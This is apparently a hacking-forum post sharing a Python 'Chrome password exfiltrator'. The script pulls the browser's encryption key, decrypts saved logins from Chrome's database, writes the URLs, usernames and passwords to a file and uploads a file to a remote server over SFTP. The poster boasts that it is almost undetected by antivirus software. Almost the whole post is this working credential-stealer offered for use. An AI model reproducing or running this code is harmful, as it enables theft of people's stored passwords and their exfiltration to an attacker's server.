Chrome password exfiltrator
by - Thursday, January 1, 1970 at 12:00 AM
Most of the credit for this script goes to Abdou Rockikz. But his version didn't really do what we need it to do.
So here is an edited version.
from paramiko import SSHClient
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import shutil
from datetime import timezone, datetime, timedelta

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # remove DPAPI str
    key = key[5:]
    # return decrypted key that was originally encrypted
    # using a session key derived from current user's logon credentials
    # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]


def decrypt_password(password, key):
    try:
        # get the initialization vector
        iv = password[3:15]
        password = password[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""


def main():
    # get the AES key
    key = get_encryption_key()
    # local sqlite Chrome database path
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Login Data")
    # copy the file to another location
    # as the database will be locked if chrome is currently running
    filename = "ChromeData.db"
    shutil.copyfile(db_path, filename)
    # connect to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # `logins` table has the data we need
    cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
    # iterate over all rows
    # open file for writing
    yoink = open('yoink.txt', 'w')
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password = decrypt_password(row[3], key)
        date_created = row[4]
        date_last_used = row[5]       
        if username or password:
            yoink.writelines(f"Origin URL: {origin_url}
")
            yoink.writelines(f"Action URL: {action_url}
")
            yoink.writelines(f"Username: {username}
")
            yoink.writelines(f"Password: {password}
")
        else:
            continue

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass

if __name__ == "__main__":
    main()
   
source = "filename.txt"
dest = "directory/filename.txt"
with SSHClient() as ssh:
        ssh.load_system_host_keys()
        ssh.connect('serveraddress', username='user', password='pass')
        with ssh.open_sftp() as sftp:
            sftp.put(source, dest)


Have fun!

As of right now this script is almost completely undetected by all antivirus software. So that's neat.
https://www.virustotal.com/gui/file/0d8146c75ff781e09e179a480ba55bc6d1bc74b1e0101614d28a088826401021?nocache=1
Reply


 Users viewing this thread: Chrome password exfiltrator: No users currently viewing.